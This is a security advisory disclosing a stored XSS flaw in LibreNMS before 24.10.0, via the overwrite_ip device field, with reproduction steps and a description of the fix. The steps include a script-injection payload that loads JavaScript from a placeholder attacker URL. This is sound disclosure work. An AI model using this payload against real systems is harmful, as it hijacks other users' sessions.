Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the Device Overview page of the @LibreNMS/LibreNMS project allows authenticated users to inject arbitrary JavaScript through the overwrite_ip parameter when editing a device. The injected script executes in the “Assigned IP” field when the page is loaded, potentially compromising other users’ sessions.
Product
This vulnerability affects LibreNMS versions prior to 24.10.0 in librenms/includes/html/dev-overview-data.inc.php.
Impact
This vulnerability can lead to the execution of malicious code in the context of other users’ sessions, potentially compromising their accounts and allowing unauthorized actions.
Steps to reproduce
-
Log into the LibreNMS web interface.
-
Edit any device and set the Assigned IP (“overwrite_ip”) to the following payload:
test'"><script src=//<attacker-url>></script> -
Save the changes.
-
Navigate to the Device Overview page for that device.
-
Observe that the external script at
//<attacker-url>is loaded and executed in the “Assigned IP” field.
Expected result:
The external script from //<attacker-url> executes in the “Assigned IP” field, demonstrating arbitrary JavaScript execution in the victim’s session.
Remediation
Patched in LibreNMS 24.10.0 by adding proper HTML-encoding of the overwrite_ip value in dev-overview-data.inc.php, ensuring untrusted input is escaped before rendering.
Credit
This issue was discovered and reported by Checkmarx Security Researcher Raphael Silva.
